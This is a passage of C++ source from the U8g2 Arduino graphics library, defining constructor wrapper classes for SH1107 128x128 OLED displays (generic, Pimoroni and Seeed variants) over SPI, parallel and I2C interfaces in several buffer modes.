}\n};\nclass U8G2_SH1107_PIMORONI_128X128_1_6800 : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_1_8080 : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_1_6800 : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_1_8080 : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_128X128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_128X128_2_6800 : public U8G2 {\n  public: U8G2_SH1107_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X128_2_8080 : public U8G2 {\n  public: U8G2_SH1107_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_2_6800 : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_2_8080 : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_2_6800 : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_2_8080 : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_128X128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_128X128_F_6800 : public U8G2 {\n  public: U8G2_SH1107_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X128_F_8080 : public U8G2 {\n  public: U8G2_SH1107_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_F_6800 : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_F_8080 : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_F_6800 : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_128X128_F_8080 : public U8G2 {\n  public: U8G2_SH1107_SEEED_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X128_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_128X128_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X128_1_HW_I2C(const u8g2_cb_t *rotation, 